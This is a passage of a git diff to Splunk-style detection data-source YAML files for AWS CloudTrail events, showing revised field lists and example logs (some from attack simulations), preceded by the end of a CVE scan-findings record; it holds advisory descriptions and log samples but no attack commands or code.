multiple ways. This issue became much more relevant in approximately December 2019 when an unrelated bug was fixed (i.e., the chmod calls to suidusbins were fixed in the upstream Makefile which is now included in the release version 4.8).", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-19882", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "6.9"}]}, {"name": "CVE-2007-5686", "description": "initscripts in rPath Linux 1 sets insecure permissions for the /var/log/btmp file, which allows local users to obtain sensitive information regarding authentication attempts. NOTE: because sshd detects the insecure permissions and does not log certain events, this also prevents sshd from logging failed authentication attempts by remote attackers.", "uri": "https://security-tracker.debian.org/tracker/CVE-2007-5686", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:C/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.9"}]}, {"name": "CVE-2013-4235", "description": "shadow: TOCTOU (time-of-check time-of-use) race condition when copying and removing directory trees", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-4235", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "3.3"}]}, {"name": "CVE-2020-13529", "description": "An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-13529", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:A/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.9"}]}, {"name": "CVE-2013-4392", "description": "systemd, when updating file permissions, allows local users to change the permissions and SELinux security contexts for arbitrary files via a symlink attack on unspecified files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-4392", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "3.3"}]}, {"name": "CVE-2020-13776", "description": "systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-13776", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "6.2"}]}, {"name": "CVE-2019-20386", "description": "An issue was discovered in button_open in login/logind-button.c in systemd before 243. When executing the udevadm trigger command, a memory leak may occur.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-20386", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2019-9923", "description": "pax_decode_header in sparse.c in GNU Tar before 1.32 had a NULL pointer dereference when parsing certain archives that have malformed extended headers.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9923", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2005-2541", "description": "Tar 1.15.1 does not properly warn the user when extracting setuid or setgid files, which may allow local users or remote attackers to gain privileges.", "uri": "https://security-tracker.debian.org/tracker/CVE-2005-2541", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "10"}]}, {"name": "CVE-2021-20193", "description": "A flaw was found in the src/list.c of tar 1.33 and earlier. This flaw allows an attacker who can submit a crafted input file to tar to cause uncontrolled consumption of memory. The highest threat from this vulnerability is to system availability.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-20193", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-17973", "description": "** DISPUTED ** In LibTIFF 4.0.8, there is a heap-based use-after-free in the t2p_writeproc function in tiff2pdf.c. NOTE: there is a third-party report of inability to reproduce this issue.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-17973", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-35521", "description": "A flaw was found in libtiff. Due to a memory allocation failure in tif_read.c, a crafted TIFF file can lead to an abort, resulting in denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-35521", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2014-8130", "description": "The _TIFFmalloc function in tif_unix.c in LibTIFF 4.0.3 does not reject a zero size, which allows remote attackers to cause a denial of service (divide-by-zero error and application crash) via a crafted TIFF image that is mishandled by the TIFFWriteScanline function in tif_write.c, as demonstrated by tiffdither.", "uri": "https://security-tracker.debian.org/tracker/CVE-2014-8130", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-5563", "description": "LibTIFF version 4.0.7 is vulnerable to a heap-based buffer over-read in tif_lzw.c resulting in DoS or code execution via a crafted bmp image to tools/bmp2tiff.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-5563", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-35522", "description": "In LibTIFF, there is a memory malloc failure in tif_pixarlog.c. A crafted TIFF document can lead to an abort, resulting in a remote denial of service attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-35522", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-9117", "description": "In LibTIFF 4.0.7, the program processes BMP images without verifying that biWidth and biHeight in the bitmap-information header match the actual input, leading to a heap-based buffer over-read in bmp2tiff.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-9117", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2017-16232", "description": "** DISPUTED ** LibTIFF 4.0.8 has multiple memory leak vulnerabilities, which allow attackers to cause a denial of service (memory consumption), as demonstrated by tif_open.c, tif_lzw.c, and tif_aux.c. NOTE: Third parties were unable to reproduce the issue.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16232", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-10126", "description": "LibTIFF 4.0.9 has a NULL pointer dereference in the jpeg_fdct_16x16 function in jfdctint.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-10126", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2021-22924", "description": "libcurl keeps previously used connections in a connection pool for subsequenttransfers to reuse, if one of them matches the setup.Due to errors in the logic, the config matching function did not take 'issuercert' into account and it compared the involved paths *case insensitively*,which could lead to libcurl reusing wrong connections.File paths are, or can be, case sensitive on many systems but not all, and caneven vary depending on used file systems.The comparison also didn't include the 'issuer cert' which a transfer can setto qualify how to verify the server certificate.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22924", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}]}, {"name": "CVE-2021-38115", "description": "read_header_tga in gd_tga.c in the GD Graphics Library (aka LibGD) through 2.3.2 allows remote attackers to cause a denial of service (out-of-bounds read) via a crafted TGA file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-38115", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}]}, {"name": "CVE-2021-3618", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-3618", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}]}], "findingSeverityCounts": {"HIGH": 2, "MEDIUM": 14, "INFORMATIONAL": 63, "LOW": 22, "UNDEFINED": 3}}}, "requestID": "23c19e2d-c48b-4265-b4eb-853e7b325780", "eventID": "6c94a9b2-36dc-43f8-a6dd-4ec839ded8af", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_describesnapshotattribute.yml b/data_sources/aws_cloudtrail_describesnapshotattribute.yml index e31315d18c..7c52dbd000 100644 --- a/data_sources/aws_cloudtrail_describesnapshotattribute.yml +++ b/data_sources/aws_cloudtrail_describesnapshotattribute.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DescribeSnapshotAttribute id: f054c99b-63b8-4236-8a62-b52fbbabacba -version: 2 +version: 3 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for AWS CloudTrail DescribeSnapshotAttribute source: aws_cloudtrail @@ -13,11 +13,11 @@ supported_TA: url: https://splunkbase.splunk.com/app/1876 version: 8.2.2 fields: + - _time - action - app - - authentication_method - - awsRegion - aws_account_id + - awsRegion - change_type - command - date_hour @@ -28,11 +28,7 @@ fields: - date_wday - date_year - date_zone - - desc - dest - - dest_ip_range - - dest_port_range - - direction - dvc - errorCode - errorMessage @@ -42,12 +38,10 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - - image_id - index - - instance_type - linecount - managementEvent - msg @@ -56,8 +50,6 @@ fields: - object_category - object_id - product - - protocol - - protocol_code - punct - readOnly - reason @@ -65,40 +57,52 @@ fields: - region - requestID - requestParameters.attributeType + - requestParameters.createVolumePermission.add.items{}.group + - requestParameters.createVolumePermission.add.items{}.userId + - requestParameters.createVolumePermission.remove.items{}.group - requestParameters.snapshotId + - requestParameters.tagSpecificationSet.items{}.resourceType + - requestParameters.tagSpecificationSet.items{}.tags{}.key + - requestParameters.tagSpecificationSet.items{}.tags{}.value + - requestParameters.volumeId - responseElements + - responseElements._return + - responseElements.encrypted + - responseElements.ownerId + - responseElements.requestId + - responseElements.snapshotId + - responseElements.startTime + - responseElements.status + - responseElements.tagSet.items{}.key + - responseElements.tagSet.items{}.value + - responseElements.volumeId + - responseElements.volumeSize - result - result_id - - rule_action - signature - source - sourceIPAddress - sourcetype - splunk_server - - splunk_server_group - src - src_ip - - src_ip_range - - src_port_range - src_user - - src_user_id - - src_user_name - - src_user_role - - src_user_type - start_time - status - tag - - tag::action - - tag::app - tag::eventtype - - tag::object_category - - temp_access_key - timeendpos - timestartpos - tlsDetails.cipherSuite - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -112,26 +116,11 @@ fields: - userIdentity.sessionContext.sessionIssuer.type - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type + - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_role - - user_type - vendor - vendor_account - vendor_product - vendor_region - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _time -example_log: '{"eventVersion": "1.10", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLBXYPYUKBH:aws-go-sdk-1740131590946446551", "arn": "arn:aws:sts::111111111111111:assumed-role/DAFTPUNK-cloud-security-audit/aws-go-sdk-1740131590946446551", "accountId": "111111111111111", "accessKeyId": "DAFTPUNK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLBXYPYUKBH", "arn": "arn:aws:iam::111111111111111:role/DAFTPUNK-cloud-security-audit", "accountId": "111111111111111", "userName": "DAFTPUNK-cloud-security-audit"}, "attributes": {"creationDate": "2025-02-21T10:48:43Z", "mfaAuthenticated": "false"}}}, "eventTime": "2025-02-21T11:29:27Z", "eventSource": "ec2.amazonaws.com", "eventName": "DescribeSnapshotAttribute", "awsRegion": "eu-central-1", "sourceIPAddress": "54.203.114.197", "userAgent": "m/E aws-sdk-go-v2/1.30.5 os/linux lang/go#1.22.4 md/GOOS#linux md/GOARCH#amd64 api/ec2#1.177.3", "requestParameters": {"snapshotId": "snap-082bd5016636bbd94", "attributeType": "PRODUCT_CODES"}, "responseElements": null, "requestID": "70339070-6038-40b7-9acf-5ecb85cda843", "eventID": "bcc65c3f-a997-4a01-90bf-3b85f7268e70", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "ec2.eu-central-1.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLCNEAQXWZV", "arn": "arn:aws:iam::111111111111:user/bhavin_console", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLF5EAXXXX", "userName": "bhavin_console"}, "eventTime": "2023-03-20T22:31:36Z", "eventSource": "ec2.amazonaws.com", "eventName": "ModifySnapshotAttribute", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.1.1", "userAgent": "stratus-red-team_46665bb8-dc15-4aba-a5ad-a362772b3f0d", "requestParameters": {"snapshotId": "snap-02effb3bb62786b18", "createVolumePermission": {"add": {"items": [{"userId": "012345678912"}]}}, "attributeType": "CREATE_VOLUME_PERMISSION"}, "responseElements": {"requestId": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "_return": true}, "requestID": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "eventID": "62e027d3-7191-48f4-b5fe-4b66c58b3008", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_getpassworddata.yml b/data_sources/aws_cloudtrail_getpassworddata.yml index 4c419b3a63..610dc4f22f 100644 --- a/data_sources/aws_cloudtrail_getpassworddata.yml +++ b/data_sources/aws_cloudtrail_getpassworddata.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail GetPasswordData id: 6ff2ce99-85b1-4c17-888a-56dbc3570671 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a request is made to retrieve the administrator password of an EC2 instance. mitre_components: @@ -19,8 +19,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - date_hour @@ -41,8 +41,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -75,7 +75,12 @@ fields: - tlsDetails.cipherSuite - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -90,13 +95,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -109,4 +107,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLP5AASA6I5:aws-go-sdk-1660169051746043000", "arn": "arn:aws:sts::111111111111:assumed-role/sample-role-used-by-stratus-for-ec2-password-data/aws-go-sdk-1660169051746043000", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLLY5RQXEF", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLP5AASA6I5", "arn": "arn:aws:iam::111111111111:role/sample-role-used-by-stratus-for-ec2-password-data", "accountId": "111111111111", "userName": "sample-role-used-by-stratus-for-ec2-password-data"}, "webIdFederationData": {}, "attributes": {"creationDate": "2022-08-10T22:04:12Z", "mfaAuthenticated": "false"}}}, "eventTime": "2022-08-10T22:04:13Z", "eventSource": "ec2.amazonaws.com", "eventName": "GetPasswordData", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "stratus-red-team_e3e4b259-63a4-4d89-acd5-a7286a279bb8", "errorCode": "Client.UnauthorizedOperation", "errorMessage": "You are not authorized to perform this operation. Encoded authorization failure message: OwnXKlWs2vtfsyXhkYTFO35PfDwIeH4oGadP2dmbdguXBDpSfP-65XwZU4JdWht_u8p9BlgIZ0QOYIzmm5-ApXc7HsgOynmQvF4vFNUxxiuY0w-VRNBiuPmphwnJqYln8pTJogn0DfcleY5TIuDEFwmGvZHnGMmK1kXJ1VcUiQvbK_vuDpSqIDFz-jqcnOTjzsC4DXlTZkHLL1HEeNVIjI9HCEWYG4CuG9Ti8BQ0AnGVkU8oqvtS6iyVlnPI9oId5_AWpfmE1ijhNKbgFH77DjRn6QyR5rGkGYYFpvaIyMvX33Vti4RzfAyJdpuzMgp6tV-q_Rbh0ikwBJvUtiiGfmqzdQynfRNDQmXJ3ruifOjGmUz34M90SGFJKi5CVHGThtO3UWj9EqYXpKdu_JgTYEqxWvRBopB--V7tOap8XKuz7W3rWyHN2clHA0yooLZ3DV34LWgzzDp9Iv66829HSTwGz7h2P0sGdCNuV_FCxwQzWYa8f6_h1By90MvWUvmEDLSzOfA_PF6BcqCmV8XBiPUvCMPebDSGmPwSa371J5Yn2xEiuQadfuNYRLZnd2i1V_NF9ax67BdZ", "requestParameters": {"instanceId": "i-7sap2krlslv6adrs"}, "responseElements": null, "requestID": "87368810-7b30-4ff9-b097-702778a53f22", "eventID": "0cdd3757-296a-4454-9619-d0f8be335081", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLP5AASA6I5:aws-go-sdk-1660169051746043000", "arn": "arn:aws:sts::111111111111:assumed-role/sample-role-used-by-stratus-for-ec2-password-data/aws-go-sdk-1660169051746043000", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLLY5RQXEF", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLP5AASA6I5", "arn": "arn:aws:iam::111111111111:role/sample-role-used-by-stratus-for-ec2-password-data", "accountId": "111111111111", "userName": "sample-role-used-by-stratus-for-ec2-password-data"}, "webIdFederationData": {}, "attributes": {"creationDate": "2022-08-10T22:04:12Z", "mfaAuthenticated": "false"}}}, "eventTime": "2022-08-10T22:04:13Z", "eventSource": "ec2.amazonaws.com", "eventName": "GetPasswordData", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "stratus-red-team_e3e4b259-63a4-4d89-acd5-a7286a279bb8", "errorCode": "Client.UnauthorizedOperation", "errorMessage": "You are not authorized to perform this operation. Encoded authorization failure message: OwnXKlWs2vtfsyXhkYTFO35PfDwIeH4oGadP2dmbdguXBDpSfP-65XwZU4JdWht_u8p9BlgIZ0QOYIzmm5-ApXc7HsgOynmQvF4vFNUxxiuY0w-VRNBiuPmphwnJqYln8pTJogn0DfcleY5TIuDEFwmGvZHnGMmK1kXJ1VcUiQvbK_vuDpSqIDFz-jqcnOTjzsC4DXlTZkHLL1HEeNVIjI9HCEWYG4CuG9Ti8BQ0AnGVkU8oqvtS6iyVlnPI9oId5_AWpfmE1ijhNKbgFH77DjRn6QyR5rGkGYYFpvaIyMvX33Vti4RzfAyJdpuzMgp6tV-q_Rbh0ikwBJvUtiiGfmqzdQynfRNDQmXJ3ruifOjGmUz34M90SGFJKi5CVHGThtO3UWj9EqYXpKdu_JgTYEqxWvRBopB--V7tOap8XKuz7W3rWyHN2clHA0yooLZ3DV34LWgzzDp9Iv66829HSTwGz7h2P0sGdCNuV_FCxwQzWYa8f6_h1By90MvWUvmEDLSzOfA_PF6BcqCmV8XBiPUvCMPebDSGmPwSa371J5Yn2xEiuQadfuNYRLZnd2i1V_NF9ax67BdZ", "requestParameters": {"instanceId": "i-7sap2krlslv6adrs"}, "responseElements": null, "requestID": "87368810-7b30-4ff9-b097-702778a53f22", "eventID": "0cdd3757-296a-4454-9619-d0f8be335081", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_modifydbinstance.yml b/data_sources/aws_cloudtrail_modifydbinstance.yml index 3613f843e8..d025cf468d 100644 --- a/data_sources/aws_cloudtrail_modifydbinstance.yml +++ b/data_sources/aws_cloudtrail_modifydbinstance.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail ModifyDBInstance id: bfa2912d-1a33-4b05-be46-543874d68241 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a modification is made to an AWS database instance, such as parameters or configurations. mitre_components: @@ -20,8 +20,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -69,7 +70,9 @@ fields: - responseElements.dBInstanceArn - responseElements.dBInstanceClass - responseElements.dBInstanceIdentifier + - responseElements.dbInstancePort - responseElements.dBInstanceStatus + - responseElements.dbiResourceId - responseElements.dBParameterGroups{}.dBParameterGroupName - responseElements.dBParameterGroups{}.parameterApplyStatus - responseElements.dBSubnetGroup.dBSubnetGroupDescription @@ -79,8 +82,6 @@ fields: - responseElements.dBSubnetGroup.subnets{}.subnetIdentifier - responseElements.dBSubnetGroup.subnets{}.subnetStatus - responseElements.dBSubnetGroup.vpcId - - responseElements.dbInstancePort - - responseElements.dbiResourceId - responseElements.deletionProtection - responseElements.endpoint.address - responseElements.endpoint.hostedZoneId @@ -124,7 +125,12 @@ fields: - start_time - timeendpos - timestartpos - - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -139,13 +145,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -158,4 +157,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLDF6WP4HD6:gowthamarajr@splunk.com", "arn": "arn:aws:sts::111111111111:assumed-role/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f/gowthamarajr@splunk.com", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLAKJDBQGB", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLDF6WP4HD6", "arn": "arn:aws:iam::111111111111:role/aws-reserved/sso.amazonaws.com/us-west-2/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f", "accountId": "111111111111", "userName": "AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f"}, "webIdFederationData": {}, "attributes": {"creationDate": "2022-08-05T08:47:55Z", "mfaAuthenticated": "false"}}}, "eventTime": "2022-08-05T09:19:15Z", "eventSource": "rds.amazonaws.com", "eventName": "ModifyDBInstance", "awsRegion": "us-west-2", "sourceIPAddress": "AWS Internal", "userAgent": "AWS Internal", "requestParameters": {"dBInstanceIdentifier": "database-1", "applyImmediately": true, "masterUserPassword": "****", "allowMajorVersionUpgrade": false, "deletionProtection": true}, "responseElements": {"dBInstanceIdentifier": "database-1", "dBInstanceClass": "db.m6g.large", "engine": "postgres", "dBInstanceStatus": "available", "masterUsername": "postgres", "endpoint": {"address": "database-1.ce6wk5bvtc0t.us-west-2.rds.amazonaws.com", "port": 5432, "hostedZoneId": "Z1PVIF0B656C1W"}, "allocatedStorage": 5, "instanceCreateTime": "Aug 5, 2022 9:02:51 AM", "preferredBackupWindow": "06:35-07:05", "backupRetentionPeriod": 7, "dBSecurityGroups": [], "vpcSecurityGroups": [{"vpcSecurityGroupId": "sg-46cfd020", "status": "active"}], "dBParameterGroups": [{"dBParameterGroupName": "default.postgres14", "parameterApplyStatus": "in-sync"}], "availabilityZone": "us-west-2a", "dBSubnetGroup": {"dBSubnetGroupName": "default", "dBSubnetGroupDescription": "default", "vpcId": "vpc-5f02343b", "subnetGroupStatus": "Complete", "subnets": [{"subnetIdentifier": "subnet-43225f35", "subnetAvailabilityZone": {"name": "us-west-2b"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-e55d7881", "subnetAvailabilityZone": {"name": "us-west-2a"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-0beddb972f034bdaa", "subnetAvailabilityZone": {"name": "us-west-2c"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-2d70cd75", "subnetAvailabilityZone": {"name": "us-west-2c"}, "subnetOutpost": {}, "subnetStatus": "Active"}]}, "preferredMaintenanceWindow": "sat:11:44-sat:12:14", "pendingModifiedValues": {"masterUserPassword": "****"}, "latestRestorableTime": "Aug 5, 2022 9:12:31 AM", "multiAZ": false, "engineVersion": "14.2", "autoMinorVersionUpgrade": true, "readReplicaDBInstanceIdentifiers": [], "licenseModel": "postgresql-license", "storageThroughput": 0, "optionGroupMemberships": [{"optionGroupName": "default:postgres-14", "status": "in-sync"}], "publiclyAccessible": false, "storageType": "standard", "dbInstancePort": 0, "storageEncrypted": true, "kmsKeyId": "arn:aws:kms:us-west-2:111111111111:key/318bcd5d-c453-489d-b63a-07753eab0623", "dbiResourceId": "db-IX2K4LYFLBVZDHBYNPEAVFHFQM", "cACertificateIdentifier": "rds-ca-2019", "domainMemberships": [], "copyTagsToSnapshot": true, "monitoringInterval": 60, "enhancedMonitoringResourceArn": "arn:aws:logs:us-west-2:111111111111:log-group:RDSOSMetrics:log-stream:db-IX2K4LYFLBVZDHBYNPEAVFHFQM", "monitoringRoleArn": "arn:aws:iam::111111111111:role/rds-monitoring-role", "dBInstanceArn": "arn:aws:rds:us-west-2:111111111111:db:database-1", "iAMDatabaseAuthenticationEnabled": 